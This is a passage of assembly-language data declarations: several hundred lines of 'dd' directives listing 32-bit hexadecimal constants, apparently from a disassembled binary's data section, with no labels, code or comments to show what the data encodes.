		dd 8E00BBD6h, 0BD800A65h, 0B88269h, 203FFA6Ch, 0BADAF8Bh
		dd 4B214E01h, 0E15E0CB3h, 0E73ECh, 804F3332h, 6B447629h
		dd 0F8CA5D1Ch, 0E88010DEh, 0C55765E3h, 0B0200B5h, 5EEB8C68h
		dd 4500DA0Fh, 0EAFF8995h, 78E9AF74h, 55A7011Dh,	598AC47h
		dd 5C06607Dh, 4B00DAF2h, 2C3E20CEh, 1D921CD2h, 0C0D5C9E9h
		dd 93C8F9D3h, 0E8FAD8FDh, 0A4F9B750h, 689D3B00h, 0A879AF2Fh
		dd 1CC9043h, 0CB8588Ah,	0E4E54020h, 0C17CA7C8h,	0AF7A4807h
		dd 0E9C0D90Fh, 1F64F5A4h, 6629EEh, 8F100E8Ah, 500A5ECh
		dd 3101B9EDh, 3EA263D5h, 0D803C6Dh, 0B4E14CDAh,	61003FECh
		dd 0AFBC683Eh, 40DB14h,	9E97E805h, 0F77BF6FDh, 0ECCC1112h
		dd 14F45A00h, 0F816A037h, 0D8450084h, 9F89AB25h, 0D97906BAh
		dd 0B8EE6902h, 43F28D4Bh, 0B794E063h, 10520220h, 0F3D76D7Bh
		dd 770E8960h, 9DD96900h, 0ECE4AF02h, 24F57945h,	4A9216h
		dd 6ABE5A7Ch, 2C704ED1h, 4F880E00h, 5122036Eh, 72710066h
		dd 5660A06Dh, 64002567h, 21F8966Ch, 79C9534Fh, 8A936734h
		dd 458EDE1Eh, 25AFB4A0h, 0F700ABD4h, 0EDCF16D5h, 784AEA7h
		dd 31EFBB83h, 0B09E6039h, 0BA00280Dh, 69B1EDE4h, 50FC60h
		dd 1DA2838Bh, 0C64507FDh, 9012DD00h, 0BCC8B01Ah, 21C01E11h
		dd 22C44FACh, 0CC21F032h, 0A4D04400h, 0D8D44086h, 0CA00189h
		dd 12E081DCh, 0C03E719Ch, 680084E8h, 90B48521h,	3F032ECh
		dd 0D51AC435h, 8BD86CB0h, 0AA3C064Bh, 0D96A9E89h, 0B6AB4580h
		dd 0D6C447h, 0F84E2EEDh, 951B3C8h, 70C47550h, 25290209h
		dd 0CBAD8078h, 0FE32AD61h, 42140063h, 50628864h, 8E676973h
		dd 3F838A10h, 937C9C5h,	8FBC4h,	50C15C6Bh, 0A685EF41h
		dd 589F4403h, 0C0E23DA4h, 4CF7F6h, 0F8324AF9h, 434838CFh
		dd 0CCAA2700h, 335DE10Dh, 20F076Eh, 31A6FFB8h, 0C819F8E9h
		dd 1B5CDD7Ch, 4C0B00A9h, 0DBF3489Bh, 621F3F69h,	4E62B8Eh
		dd 0B6700F80h, 102BA25h, 68B0A27Bh, 0AF4FE0F4h,	0D427012Fh
		dd 75330518h, 0A013D0CDh, 0B3DDEF1Fh, 49741BC0h, 1AEC57Ch
		dd 753AAC68h, 0CCA16D48h, 81003CEFh, 266AFBD7h,	0A09C4Ch
		dd 420D312Dh, 2409940Ah, 13C4400h, 6B40716Dh, 3FC50060h
		dd 5CE6B033h, 2D3B18A5h, 5BF78009h, 468BEA08h, 9102022Eh
		dd 2CB90B78h, 534B8F40h, 76008778h, 0D1D77F2h, 8F010h
		dd 8C022249h, 53140446h, 38838001h, 2F26D49Eh, 206A30h
		dd 3C705B9Fh, 0F233B85Fh, 0CFC40B00h, 79084725h, 0F8D1EAD3h
		dd 0FE8CFE84h, 4B98038Ah, 0A01636A3h, 608657C7h, 424611ACh
		dd 8771EC0Eh, 20A18E10h, 0E6F5DE14h, 0B394001Ah, 82E8950Fh
		dd 0B90001E0h, 0B7AE53DDh, 9078764Ch, 416900DAh, 0B416E421h
		dd 0E31E6891h, 198345DCh, 98E02C10h, 78C6CA1h, 84DE3388h
		dd 0BAE3C0A2h, 77006355h, 790A9CABh, 1700BF0h, 1B22F34Bh
		dd 0E7EA1415h, 57C0CBC3h, 8500E118h, 0C1A5AEDCh, 3014C210h
		dd 0FB22958Bh, 3D0053D8h, 0A0654827h, 60683C49h, 18E7AE05h
		dd 500037F7h, 5514A2A1h, 7674129Ah, 9E210076h, 1CA4D822h
		dd 95032991h, 0B81A118Bh, 1873884Ch, 0D485020Ah, 0C9A2437h
		dd 892727E0h, 0CEA4FC00h, 0A8CDC61Dh, 21C3000Dh, 0AC903C29h
		dd 0E400B0C8h, 19B43240h, 441CB8h, 7EBC4386h, 7C87A684h
		dd 0C4548906h, 1AC812h,	91CC214Ch, 28BF48D0h, 0B6D9500h
		dd 5B9038Bh, 2B363D96h,	2CDFD400h, 3CD7AD8Eh, 8D711718h
		dd 5A39ECh, 3E98B2BAh, 99285295h, 513EACB8h, 8370147h
		dd 218E428Fh, 0C6E5E8h,	7DB15EBDh, 4A8513F2h, 0D70669FCh
		dd 0BA120523h, 8BE7002Eh, 533509D0h, 570040DCh,	39717064h
		dd 4A6C6Ah, 249FEBC5h, 4803E29Dh, 650063F4h, 779A4166h
		dd 0F5D50CAh, 640EE09Ch, 473D2080h, 757C255Bh, 7F888E00h
		dd 0A614FAFDh, 784A0B10h, 0A804C8Fh, 6D0B735Fh,	93054FF2h
		dd 22EC8488h, 0F454B7C0h, 79F07906h, 0FCB76B0h,	4E7930F8h
		dd 0FC2D8580h, 1E00C47Eh, 0C24FDAECh, 0A0F786h,	27E853BFh
		dd 7C26B549h, 800D0F3Bh, 0CE57036Ah, 7FF64CDh, 93536F30h
		dd 7D4B7169h, 3E5A30EAh, 77DB0A16h, 4F8C703h, 0A801B874h
		dd 0D09B0044h, 788D102Ah, 4D00E0DFh, 0FA591703h, 0AA0D8Eh
		dd 0BA439185h, 7EADB474h, 5510D500h, 0EEB1612Eh, 8838002Ah
		dd 9BBDEC85h, 9709DFABh, 5C201656h, 30F90079h, 948DE406h
		dd 3E179500h, 5A57CDB9h, 0CFC50312h, 0F455116Ah, 3D2A4590h
		dd 0E22E8107h, 0D321B2DBh, 79CCC954h, 7CF300A5h, 0D02DC8A4h
		dd 7500241Eh, 0F225AC6Ch, 2C3A7649h, 0A6F697h, 70714130h
		dd 69006C13h, 86A9AC63h, 630E6420h, 94FD28F2h, 0B202D3D8h
		dd 0B700A0EAh, 0FC8E41F5h, 3C3E96DBh, 0E980D088h, 0D20F3510h
		dd 7C1F909Fh, 69C7B78Ch, 1CF093C2h, 0B8F403h, 226ECE8h
		dd 352504A1h, 52BCE00h,	0D5D3A79Ch, 0F7BE0011h,	0E5971042h
		dd 8203A54Ah, 480EF6C1h, 99D5C019h, 94E701BEh, 6186662Ah
		dd 0B8ECF450h, 7D0E1803h, 0B83D22DDh, 2B29Dh, 139B5A25h
		dd 5772ACF8h, 0D6E46E00h, 99082788h, 0B24F0324h, 3F8A491Fh
		dd 1C714AE0h, 0EF225Ch,	0EF42BD9Ah, 3B09D2h, 2ABCAC45h
		dd 8F5BEE1h, 0BA38E407h, 0F8774307h, 0CB30B0D3h, 352C883Ah
		dd 362A009Dh, 34283D06h, 74399110h, 677200C0h, 62431D70h
		dd 64C30077h, 0A1286D66h, 5C036568h, 8A976318h,	12F1A80Bh
		dd 5D405C10h, 6A6E0900h, 8F0E6560h, 2668A000h, 1A786255h
		dd 7D7B0067h, 0E4F3DD28h, 0F600BE42h, 7A389514h, 0F99A156h
		dd 9BE80435h, 2760A2E0h, 0C5007625h, 0DA49CC1Ah, 7FE04890h
		dd 0E6CB0028h, 0EB144F22h, 0DE006A23h, 9025F42Ah, 280421BFh
		dd 0A8EAF7h, 0C58B0745h, 94CF77F6h, 41DC490Bh, 75B18089h
		dd 63F816h, 64535110h, 77712407h, 700073E6h, 62752676h
		dd 777C691Ch, 0F9900029h, 5C244A15h, 6B7F074Ch,	57006F7Fh
		dd 197BC728h, 0A02A1405h, 955689h, 24848913h, 836AA372h
		dd 0EBF4220Fh, 0BCEFF7h, 4BD79001h, 19200049h, 6BC48B7Eh
		dd 0CC0256BAh, 2566B322h, 64D7867Ah, 49E700E2h,	5614E350h
		dd 0C800B801h, 130FABCAh, 29ACD8h, 0C32DCE3Bh, 276AE45Ch
		dd 21574509h, 9A07D751h, 0A050B72Ah, 0A907ED97h, 0B2112B00h
		dd 0AD2F5FE9h, 0CB1B48F7h, 0BB35BC00h, 9FAA141Dh, 0D9EE9200h
		dd 46163AF4h, 0A319030Ah, 0CFD8254Fh, 458655F8h, 48125B7Ch
		dd 0ED00A60Eh, 401F496Eh, 754A0047h, 13836653h,	200107Dh
		dd 0C16AF90Ch, 7FC317h,	4B8142EBh, 2C0AD520h, 892F1301h
		dd 0D40708F6h, 0FC64C4ECh, 0F748001Fh, 0DCC31645h, 21072EE6h
		dd 0E319920Fh, 31590840h, 31B97A2Bh, 0BFEA3648h, 0D0856009h
		dd 0EEFF2800h, 0ADC705Fh, 15890004h, 64A87B0h, 2D501245h
		dd 68056ED0h, 0EF82CD8h, 403FB687h, 0D102AAD6h,	0BB400293h
		dd 0C855F5E2h, 0BA8560C0h, 75F7CC00h, 48AC955Ah, 4AB90013h
		dd 11F4ADD7h, 803908C4h, 4EEC4EC9h, 9884FB14h, 10146A00h
		dd 398F32FFh, 395BAB2Ch, 77404E1Dh, 0D920E52Ch,	307A45h
		dd 2D83DC05h, 0A10B40C4h, 2B6BE802h, 0E1A32341h, 77F01879h
		dd 0D4E00FC7h, 6CA0F82Ah
		dd 5708E999h, 0E152F903h, 782A8CEh, 50B814A4h, 5F9E40D5h
		dd 64B8CA4Ch, 68F95E0Fh, 332DA083h, 7AB4F001h, 58A7035Ah
		dd 0B82005B5h, 0E02AAAD9h, 0FC7050C4h, 0A5093Bh, 34058EB4h
		dd 24F397ADh, 4F16A4h, 0E80183B8h, 39005E33h, 980A7448h
		dd 161506h, 20135DD1h, 0EFC138EBh, 2FFA2400h, 34CA2EA3h
		dd 4479030Eh, 6454231Bh, 0E26E3988h, 52DC7C00h,	0E4DAEA32h
		dd 33560071h, 0FB35C810h, 4002C94h, 34301C84h, 162238h
		dd 0EFFA8068h, 28E21065h, 3732C400h, 0EA9DE860h, 432E00C0h
		dd 74276E61h, 6C00201Dh, 0A64DA6Fh, 3FC41A77h, 28731E58h
		dd 18B22C3h, 5A9EFC08h,	0EB540584h, 0EC1811E9h,	8D01801Ch
		dd 0F0524F0Ch, 88C05C15h, 83420168h, 0F1750AFAh, 7EC06EBDh
		dd 6C9ED5h, 0FF558817h,	82297F3h, 0EC832500h, 10111C93h
		dd 5C01750Ch, 213B7F6h,	0C34C002Dh, 0A80D03D6h,	18D38400h
		dd 22155F2Fh, 6A6B0320h, 8AA2D55Ch, 0CFA132A3h,	37F2F4AFh
		dd 4700EAB8h, 8524F710h, 1482C7h, 0CB560B23h, 0C47FBE4Eh
		dd 0C07B0300h, 48C39428h, 1B2500C8h, 0B00C5793h, 473B3140h
		dd 224E0053h, 8126A01Ch, 0C3511FBCh, 766DC00Bh,	482F680Ah
		dd 1BDEFC01h, 2041A452h, 8D3BE8h, 0B8E72490h, 89F89F5Eh
		dd 8A0FFC30h, 0AD6D22h,	77C90576h, 833AFBC4h, 9DF00805h
		dd 0B240E8D4h, 1130222Ch, 7C097234h, 9F370744h,	2079D5EAh
		dd 0C5B55DF8h, 0C3647200h, 8870B7AAh, 5A7C36h, 0F89838FBh
		dd 0D9ED63E9h, 670E8900h, 87F8310h, 0EF9200DCh,	0EB755AA9h
		dd 5DFAC244h, 0B2A8DB00h, 0B41B2C34h, 431C0736h, 4F8E7630h
		dd 0E0380979h, 0B4009086h, 3EE8B0Eh, 8482EDh, 535718EFh
		dd 2019320Bh, 0FCA41400h, 0CDDE752Ah, 5E40ED4h,	2C201021h
		dd 34443088h, 0EB382000h, 0DA7E9732h, 84F000C4h, 0B4A2EF46h
		dd 0AA00073Dh, 0B7B63FC2h, 482A4Dh, 31918757h, 0C39ADFA5h
		dd 770DA900h, 49C2C6E9h, 0FC2E000Ch, 1CC7B2C9h,	0D89D0EF7h
		dd 5CE8078Fh, 0F037B1B5h, 7A9D5443h, 0A1978200h, 0E4BB8335h
		dd 72321D2Fh, 7BA6009Fh, 95431518h, 3A24223Ah, 1F2C3C8Bh
		dd 7E404981h, 4C09A9ABh, 40FC8Dh, 1FF752F5h, 0B46B76FFh
		dd 7B81100h, 7A31BC4Bh,	836C0014h, 0FF09B068h, 0E0003D5h
		dd 0E0987ED6h, 0EA508D63h, 12723892h, 2B2C6B00h, 7DB68E8h
		dd 0D55B3B00h, 6C0251ACh, 0D4055810h, 0F825E003h, 33D82A78h
		dd 5E019722h, 7707C4E7h, 0E430EDD0h, 13AD002Ch,	0B3034F05h
		dd 0D678A226h, 59957700h, 50408ABBh, 9DAC00C7h,	0C42C9B5Dh
		dd 4400E6EBh, 0AA4F453Dh, 1CB0DE92h, 801F645Fh,	8E00CB4h
		dd 0DC1F16B8h, 26002C2Ah, 69A6FAFCh, 68A0032h, 0EEF17D50h
		dd 5A00EB99h, 20D803BCh, 40C00Ch, 5DFEC4D4h, 1DF8C85Bh
		dd 639D7C00h, 62046942h, 16FA009Bh, 3640C611h, 0B1002266h
		dd 63144D67h, 38BC5F68h, 1A808D3Ch, 0A3F3AC3Eh,	60E62FBh
		dd 8029BB36h, 0F4531B6Ah, 43141D10h, 0ED5CE3Ah,	13FCBE0h
		dd 0F0037D89h, 0CDAA0FB0h, 42AB9085h, 4EC0128h,	17BF39EBh
		dd 0E488E052h, 63844407h, 0B2E0AAE0h, 0F379A27h, 537F5FBAh
		dd 0F081A947h, 8BF3C3B0h, 89E4F007h, 9050F6F8h,	0E6720A78h
		dd 41020048h, 646D69A9h, 0BD0033EEh, 0ADDCB368h, 22EA54h
		dd 0FC44D815h, 7198A5D4h, 0A18F000h, 5EBD7943h,	0D0C80122h
		dd 0D6CCA7F6h, 0DF5F7052h, 6F3D2900h, 9B177293h, 0FB5F0024h
		dd 3B052BA3h, 730E0C58h, 250181EFh, 7A871942h, 9CC0B544h
		dd 2F3031C7h, 0C37ED92Bh, 3858BF00h, 0E636A6h, 0FDBEBA70h
		dd 69ABD42Fh, 78D80D00h, 4F71CCE8h, 0BC8D2CEAh,	8BF00032h
		dd 0BF99E455h, 81DE5E3Bh, 0C6AB6BFBh, 21E82AE0h, 9D430712h
		dd 90C2C788h, 18E7E4AAh, 1C750500h, 45724019h, 0BEBC0117h
		dd 0C9744792h, 8E89305Eh, 1405CC2Ch, 1345F500h,	0EC6A6093h
		dd 0F762018Ch, 25F25886h, 0B9830B9h, 4F071EEAh,	0AEE83EFFh
		dd 9E369CA0h, 0EC200E4Dh, 5EE02384h, 75AD19A9h,	1741090Fh
		dd 70038557h, 29DACC0h,	76DC00E8h, 8199101Ah, 0C01DFDF3h
		dd 8B005B07h, 0D619917Fh, 94090022h, 0E76AA888h, 2901A263h
		dd 0F5A75DF3h, 4AC41D8Dh, 68530081h, 0AD6F8A4h,	94287506h
		dd 0CD00E954h, 0F210B329h, 22CD5A7h, 34970D31h,	740F649h
		dd 9B3CCEBCh, 20A28094h, 0E17D41Eh, 388700C5h, 3B56422Eh
		dd 0D60028C8h, 1BD29990h, 9876572Dh, 4B100059h,	0A5583553h
		dd 0E3000B44h, 523B2C3Dh, 179382Ah, 0F469BD16h,	0E45E1739h
		dd 8000BA0Bh, 5261C91Fh, 0EA6FF72h, 3D7B2416h, 65AB7160h
		dd 6660233Eh, 0C12BC6E8h, 0C3FCE4h, 1653F2D4h, 2F7D044Ch
		dd 8010973Eh, 30A47CBAh, 1BD395Fh, 0F886B774h, 0EC66F7B2h
		dd 24003E96h, 135EEC21h, 16878Ah, 0FA23D52Fh, 36E8A952h
		dd 58787D90h, 0F2549B00h, 84A30277h, 0B96D001Fh, 0AE37FB79h
		dd 3B012711h, 2887A2ECh, 4DF0465Eh, 5DAD00B9h, 0B114CE5Ch
		dd 9D0065A1h, 429AC8Eh,	6A13DAh, 0A662E756h, 0A4D7471Fh
		dd 5FDF2Dh, 0A062C7Bh, 15E8EDCBh, 0C6386084h, 0C6647DE0h
		dd 912871Fh, 0B6EBCD07h, 0FFCFFBF0h, 243C00F9h,	2E7FDA91h
		dd 4D5CD293h, 3F070089h, 0B88B08D5h, 77A41DDFh,	48A680ABh
		dd 0D011AFA3h, 26B9071Fh, 8458BB40h, 3768EB5h, 0FF6B8FE5h
		dd 17A0C321h, 743AE247h, 78A40009h, 405BC083h, 597AF3h
		dd 558AC203h, 74B81820h, 28754Ch, 641C9C08h, 15D8B97h
		dd 0F851A87Ch, 0FC2494E7h, 0E0175B46h, 0C0000179h, 0BA5C1347h
		dd 32DD3A0Ah, 88730D83h, 8A80ED33h, 8DFE2F44h, 340571Ch
		dd 282D51Fh, 0E0FD8345h, 0EEF05D1h, 0BD08778Bh,	68D5200Bh
		dd 0D0978Eh, 0FD9E5E4Ch, 0F977C4D9h, 96EC1600h,	0BE41FC55h
		dd 0A0B01ACh, 0D883061Ah, 0C087617Dh, 5200148Dh, 2D974489h
		dd 0CB3D6Ch, 696A2188h,	0F1FA1612h, 1F4AC800h, 3A7FF95Bh
		dd 97150089h, 748F2E70h, 3006860h, 0ED754DF0h, 4A9142h
		dd 0FD2F1AF9h, 627D7E9Bh, 420358h, 46204788h, 89B617h
		dd 8551D687h, 18E00BA1h, 5425BA01h, 0F3137565h,	0A5E947EDh
		dd 1117060h, 0A2920D42h, 0E8AB54B9h, 15FCF141h,	1CC020FCh
		dd 887A1D94h, 84F40F4Fh, 2FCF2BF5h, 0BD857642h,	0F642AA80h
		dd 8A3E957Ah, 0BB3C3Eh,	0D321A2DEh, 0F67D3DF7h,	0EF540077h
		dd 9DAF8AFAh, 2976C24Ah, 671C1100h, 0A5BA582Ch,	68500762h
		dd 37D7E344h, 132250BBh, 890020FDh, 31C8F09Fh, 7730E453h
		dd 9117B28h, 5623F4B7h,	0B2622A8Fh, 0D0E01EF8h,	4C76FCC8h
		dd 1628C700h, 875F8902h, 5B791DA9h, 0D28A40F4h,	3F71A108h
		dd 0F120AC00h, 510C3730h, 89660013h, 82F0EBC1h,	49980901h
		dd 7F59E012h, 0B39DE003h, 3E90F8CFh, 239A0318h,	2879AF8Bh
		dd 104593C0h, 0D127E00Eh, 4203800Eh, 33F7024h, 254FF066h
		dd 138896D5h, 1C004522h, 270520A8h, 0FF1455h, 0D55A56A4h
		dd 0D0A3ABB6h, 0D7E48B00h, 0DA6B78E6h, 625D5C39h, 0EDCD600h
		dd 0D0033C50h, 83C2EC3Bh, 9055FE78h, 7C408825h,	0F2EE0044h
		dd 10C36003h, 4100D5E8h, 7B78F6EAh, 77FB0220h, 0F8E90033h
		dd 7D9A5FCh, 6EC01609h,	71E8F1E0h, 23E0E23h, 0F826112Fh
		dd 0B900EE21h, 60751735h, 5CCEEB8h, 9E80E56h, 4D9880D7h
		dd 0EB00A67Ah, 0F0752283h, 0C3312Bh, 3BD3A0D0h,	327736F2h
		dd 0E7B82000h, 875C48Fh
		dd 0E30E00EFh, 122373D1h, 53005079h, 3C4F22AEh,	2A90D4h
		dd 2941A991h, 0D15110A5h, 4A384700h, 5C2B590Dh,	9511000Ah
		dd 2ABEE845h, 0C000715h, 4C78346h, 7053AF1h, 820F1A6Dh
		dd 707A4051h, 0BC3C6FD7h, 5200791Ch, 0EF143065h, 0E4D0D40h
		dd 0E3DB3110h, 0D0F71E02h, 85D275h, 0D8FA18F2h,	5408B324h
		dd 1E1718E1h, 40CBFEDBh, 0EAE6E297h, 5F001EA4h,	72F8D4B5h
		dd 0C4597Fh, 0C026FAB2h, 0E108B8BBh, 48743B00h,	0C6DE3780h
		dd 85CA5803h, 7AA74C72h, 2BCD0379h, 10EB1ABBh, 6A0683F5h
		dd 0D73529B0h, 5CA5E200h, 14F47970h, 2462F6EEh,	0B59428h
		dd 97D103B9h, 4000806Fh, 0FA4AEBC7h, 1AC05Dh, 77C33BD9h
		dd 0F23F9220h, 0ECF3CF00h, 0F7901773h, 2BD3011Dh, 105D65D0h
		dd 8BBD20B4h, 3A61EB4Ch, 201E00C2h, 521572C3h, 537A3E48h
		dd 2157F807h, 0EF64F0E2h, 0A000EEEh, 0B075C985h, 390561Eh
		dd 0D8DBB5F3h, 0A788DECBh, 8E12225Dh, 0B1F4210h, 9184F740h
		dd 80EA82h, 0FF88325h, 48202CB8h, 0F0950200h, 0E6433C9h
		dd 50A75C3Eh, 0D600394Ch, 407E0CE9h, 114CFF02h,	80F0756h
		dd 91F6482Eh, 3737566h,	0E888BA8Ch, 0F3E8DFA3h,	44C136AFh
		dd 27D49A6Fh, 460BFCh, 56AB2C8Dh, 0B6E9434Ah, 23028301h
		dd 80C3692Dh, 1932C280h, 0BC2042C7h, 0E19D2C01h, 294A8D4Fh
		dd 208057DAh, 94A958F4h, 0B006DC3Ah, 2E5C34E9h,	8776032Fh
		dd 714A0CAh, 21C7ACB8h,	0F048BA76h, 0A3A51E5Ch,	172061C0h
		dd 0FF64845Ah, 5E85F8h,	0BBB3274Ah, 2E4BEC59h, 0C4102307h
		dd 9A102B74h, 344975h, 143A7E39h, 27C3950Fh, 9421AF00h
		dd 22F19DCAh, 93371F5Bh, 0BC6380BFh, 4F52740Fh,	1EA23907h
		dd 8880103Dh, 16971Ah, 0C27043B4h, 0E9BBE837h, 125A7100h
		dd 0E8FEF50h, 0D868001Ch, 0B3EA42D3h, 0A44CB421h, 0B12002Ch
		dd 702EDD1h, 0E2B90083h, 58694A6Ch, 0C5005F28h,	5D898F5Ch
		dd 7CF9531Fh, 79A000A8h, 168E4212h, 4000738Dh, 0E86D28EBh
		dd 30E18h, 468A109Ch, 6492074Fh, 0C7215400h, 896FD2FFh
		dd 269000ACh, 2481F505h, 7F00EA80h, 0F7C2AF82h,	0FAEFC9F8h
		dd 5EFF0FC8h, 0A43E0ABh, 47B00270h, 9005821h, 6AF8E2E9h
		dd 1616851Fh, 1553C08h,	0F2064369h, 0A5EEE012h,	0C9032707h
		dd 0C00687Dh, 0B0F3EC80h, 6750022h, 12F3AF8h, 0F0085D7h
		dd 31222F4h, 5CC3FD3Bh,	391C4A1Dh, 24CE4043h, 2DD8E83Dh
		dd 3D12EA26h, 47AF4907h, 0F1AE0260h, 0C8040054h, 22289121h
		dd 3A00442Fh, 30488A58h, 0EA1B8Bh, 3607A133h, 7D162CF1h
		dd 7BEA03FAh, 0B215200h, 88F0C464h, 5E4789Dh, 0B1CF71B8h
		dd 8E49C097h, 20009DBh,	8078BEFCh, 424412h, 0FE79B7E4h
		dd 387450DAh, 1353126h,	9992803Bh, 0C2D4717Eh, 24DD005Bh
		dd 0EBAE3BA0h, 41002CC4h, 823CB988h, 5C89CC29h,	63000A65h
		dd 0F3E7B0FAh, 680035A4h, 0A2AEB5DCh, 0D15ED4h,	8C38600Bh
		dd 56C3E850h, 8600C1E8h, 13B9E089h, 8B5B80h, 0FBC28110h
		dd 0A104D614h, 3BDBDF38h, 774900D2h, 0E035FFEEh, 40655C4Bh
		dd 45A4AF00h, 0E989619Ah, 5A046800h, 0AB505D28h, 87920758h
		dd 872449A6h, 86B25134h, 3C71F02Bh, 7B184D07h, 0C11078A4h
		dd 1D1CCC66h, 143EF8h, 4ED70889h, 83006C64h, 2F22098h
		dd 112FC53h, 1C2693F4h,	0F4E7AA85h, 73013B1Fh, 8819826Dh
		dd 0C6C81413h, 0C8AB00F7h, 584A4363h, 0B01F68EEh, 0CC808732h
		dd 6238788Dh, 0E346074Bh, 0CFAB1875h, 4E405861h, 69C9C8CBh
		dd 3E6A5F00h, 2437C48h,	18271E99h, 82007C55h, 6132A98h
		dd 4000D7FFh, 8CC3FE11h, 0AD0343h, 0F8A83D16h, 2105472Bh
		dd 7EA65400h, 0E90DE790h, 5CC4002Ch, 5219BCDAh,	4A00C0EFh
		dd 3684CAFh, 24A4A0h, 0C2E8D649h, 28B40743h, 0DD12B501h
		dd 45B85061h, 0E9641E0h, 8AC2379Ah, 0D305A6A1h,	7048FDCAh
		dd 0F0324C3h, 4AC894F7h, 8810DB7Fh, 0F0FD5F9Fh,	49D00F65h
		dd 0A9230814h, 1C0408Ah, 0F076034Eh, 93382B00h,	0B513E67Dh
		dd 1FCD7C82h, 9F3D81F8h, 1C80FA2Ch, 7A6E883h, 24E279FAh
		dd 32756600h, 4F84D74Eh, 0FFD50097h, 0B4EA3CC4h, 45003417h
		dd 52442168h, 313E065Bh, 4A7854C1h, 0FD2CC3Ah, 0A69C8500h
		dd 0DB9A52A7h, 0FCE200D9h, 4BA14634h, 2600EB54h, 0C32BA24h
		dd 0EECC0850h, 0F1B207DCh, 9464594Fh, 60098010h, 23A8FCBh
		dd 0A1F800A8h, 68672029h, 4FC62C28h, 0A9AA01ECh, 0F089D7CCh
		dd 0CF00440Ah, 0B7DC16CEh, 8A0E34h, 9A5C217Bh, 74D017D3h
		dd 8206A101h, 0C087E56Ch, 0D8C7D8h, 52B1D1ECh, 0E9C34005h
		dd 5300257Ch, 4B22ABC2h, 17E7524h, 5A32894Eh, 0E8D0E419h
		dd 297F27A3h, 6AB2F600h, 0A6CA5EA7h, 0F4AA0004h, 0BBB06DAFh
		dd 0FA004B79h, 0DC4F34FDh, 0FB577D5h, 1DC0CC57h, 41C26CEFh
		dd 5FC04DC2h, 83009872h, 62C6B0CAh, 3319AFh, 0E8C7042Ah
		dd 0D40D5AB8h, 8074FF3Dh, 5710DA60h, 0F883B903h, 68D00D8h
		dd 8614FD95h, 3500BBD2h, 311D892Bh, 2541B9h, 745106A3h
		dd 4E525B03h, 0B293D200h, 1A8F73E8h, 0D75313DDh, 699C00BFh
		dd 0CD65C26Dh, 0F4853B00h, 9149C48Dh, 30E860h, 739EB292h
		dd 786E7DCBh, 0FAE87000h, 9718B059h, 0F47B1EC1h, 83BD872Fh
		dd 4840F18Dh, 0E4ED600Dh, 0A35C1403h, 0B988A916h, 56309363h
		dd 0D6970012h, 106A6132h, 607C7DB9h, 86901C00h,	89B2EC5h
		dd 0DF81014Ah, 89A1919Eh, 0CC7AE0D3h, 220A5360h, 11C3E7h
		dd 31642F0h, 41EC1215h,	0C76A2300h, 0B4DA468Ch,	17C00019h
		dd 744A423Ah, 800A80Bh,	3E4C754Bh, 3D9B73h, 5D4E8CADh
		dd 0C519EC6Eh, 24145A00h, 0A694C125h, 83E002h, 0DC97FC6Dh
		dd 51702CC3h, 69AF000h,	0DE813EF4h, 1DE90002h, 29508E25h
		dd 6F00754Fh, 94526796h, 3809BD69h, 0A400EA2Fh,	0D87C0782h
		dd 8039E9C4h, 74B0097Dh, 4D560021h, 92DB91h, 32EC8F8h
		dd 1150C329h, 5F67440Fh, 5D012005h, 3DD5C7h, 260DDAE6h
		dd 824998F5h, 8774A01h,	0D4637550h, 0C8D01871h,	1906002Bh
		dd 0E7BCEAC6h, 55006F4Bh, 53705B86h, 51F06Bh, 0ABC85E75h
		dd 0D8E5A9B8h, 8500D177h, 4CF2DCEAh, 897458h, 0FC66EBD4h
		dd 5D719052h, 85AC8000h, 6A2EC922h, 4BEE1C55h, 101E7ED5h
		dd 2BAEC051h, 3C0FDF0h,	689F300h, 4C418CAFh, 42670075h
		dd 3399CB1Fh, 0C438C2EFh, 3114804Ah, 5E044669h,	4E581E6Ch
		dd 907D8025h, 0B4FE2F0Bh, 1A45DA00h, 4293C9CDh,	56290098h
		dd 7C58C399h, 2E00905Ah, 7B05F569h, 0E4246EBh, 27754D6Fh
		dd 0D5B00017h, 0A14A858Dh, 17EBF801h, 9A92FEB3h, 77A3D9D8h
		dd 0AB4B0367h, 94327866h, 0EED5C490h, 0E8194200h, 0C9C7933Ch
		dd 75480FCEh, 0F8E0C6ACh, 94D12E7Dh, 2DE18100h,	0AC13B27h
		dd 0CA033D02h, 89080700h, 1E907519h, 0C2D37D00h, 20449DBEh
		dd 95C11D05h, 8BD0CEA3h, 6109C380h, 0CC00C481h,	0F7F0167Fh
		dd 3AA9D40Ch, 0DCA5D006h, 0E41480D7h, 392EE091h, 0E6802466h
		dd 0DFB94B39h, 1F005B82h, 45C63842h, 0C4F964h, 83028485h
		dd 60D78A89h, 0FE508200h, 3C70228Bh, 0E754009Dh, 0F0EACE64h
		dd 530075DBh, 0CC88FF17h, 7E38E9E2h, 5E070C5Ah,	0B6A28304h
		dd 0DE171303h, 0F178FF10h, 2660660Bh, 0B0F00Ch,	25FA453Bh
		dd 5CF00D74h, 406C21Fh,	21A9DAC0h, 168BDFh, 50176655h
		dd 19458940h, 0B70FF200h
		dd 33310308h, 0E94300CCh, 3A3B0A60h, 741E3546h,	36000E67h
		dd 261F0954h, 0A03F0095h, 4F665001h, 0B008102h,	0A6F2B752h
		dd 3032FA53h, 755E0D45h, 0A9076241h, 2AD8A2B9h,	64178ED0h
		dd 1F20047h, 4EEC8238h,	270134F3h, 5DC04A8Fh, 1BCD2E6Bh
		dd 1D99DCh, 0EDA5FA29h,	0FBBB6001h, 2481660Bh, 1980FF7Dh
		dd 258A2976h, 0A00074F6h, 530DE1FFh, 6731579Ch,	50F248D9h
		dd 45B398Eh, 1CF4E83Bh,	6A80803Fh, 4E268D0Ah, 4F740008h
		dd 0ED8C03E7h, 7D00E91Eh, 3C51AEE0h, 0F1250F6h,	23AB4056h
		dd 9F53D20h, 0FC0101EAh, 22FEC9B3h, 0BE88565h, 3AFF450h
		dd 7FF64269h, 20E70E32h, 3C65BE58h, 0E7215317h,	0DD121FFFh
		dd 45CF0011h, 13BE0E62h, 0B0D47100h, 8C9D4792h,	3CA4070Ch
		dd 5090A303h, 83D5ECBDh, 0AC68501h, 52C77853h, 0F854ECh
		dd 50908603h, 4D07E924h, 83376400h, 8A84AD2Ah, 91480543h
		dd 0C09B124Ah, 30413201h, 0A8FEA973h, 42BAB800h, 15730ADCh
		dd 0C93D0045h, 0DA4B5A1Ch, 57004D82h, 3C47E194h, 0CFDC21h
		dd 44D88871h, 0EE39FEC7h, 1AE04A30h, 0C55E9h, 9348949Bh
